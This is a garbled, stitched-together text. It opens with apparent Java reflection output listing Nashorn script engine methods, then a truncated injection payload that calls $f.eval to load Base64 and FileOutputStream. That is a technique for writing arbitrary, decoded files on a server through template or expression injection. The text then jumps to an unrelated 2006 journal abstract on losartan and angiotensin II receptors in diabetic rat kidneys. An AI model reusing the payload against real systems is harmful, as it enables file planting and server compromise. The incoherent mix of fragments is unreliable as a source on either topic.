public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (12): 1742-1744.

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Effects of losartan on the levels of angiotensinⅡ and its type-1 receptor in diabetic rat kidney

WU Wen1,DING He-lin2,CHEN Li-hong2,FU Zu-zhi2 1Department of Endocrinology,Institute of Geriatrics,People’s Hospital of Guangdong Province,Guangzhou 510080,China;2Department of Endocrinology,Second Hospital of Sun Yat-sen University,Guangzhou 510120,China   

  1. 广东省人民医院老年病研究所内分泌科； 中山大学附属第二医院内分泌科； 中山大学附属第二医院内分泌科 广东广州510080； 广东广州510120；
  • Online:2006-12-20 Published:2006-12-20

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Abstract: Objective To investigate the effect of losartan,an angiotensin II type-1 receptor(AT1R)antagonist,on the levels of angiotensinⅡ(AngⅡ)and AT1R in diabetic rat kidney.Methods Male Wistar rats were divided into 3 groups,group A(n=11)served as the control group,group B(n=11)included the diabetic rats(induced by intraperitoneal injection of streptozotocin)without any therapy,and group C(n=9)diabetic rats treated with losartan.After 18 weeks of treatment,the kidneys were taken from all the rats to measure the expression of AT1R mRNA by RT-PCR and detect the AngⅡ level.Blood was also drawn from the heart to measure AngⅡ level,and 24-hour urine was collected to measure albumin level(urine albumin excretion,UAE)with rat albumin enzyme immunoassay kit.Results The blood and renal AngⅡ levels showed no significant difference between the 3 groups.The expression of renal AT1R mRNA in group B(0.62±0.17)was significantly lower than that in group A(1.13±0.82,P<0.01)and group C(1.13±0.62,P<0.01).UAE in group B(2.18±1.98 mg)was significantly higher than that in group A(0.41±0.47 mg/d,P<0.01)and C(0.65 ±0.89 mg/d,P<0.01).Conclusion Losartan can increase the expression of AT1R mRNA in diabetic rat kidneys without altering the blood and renal AngⅡ levels.

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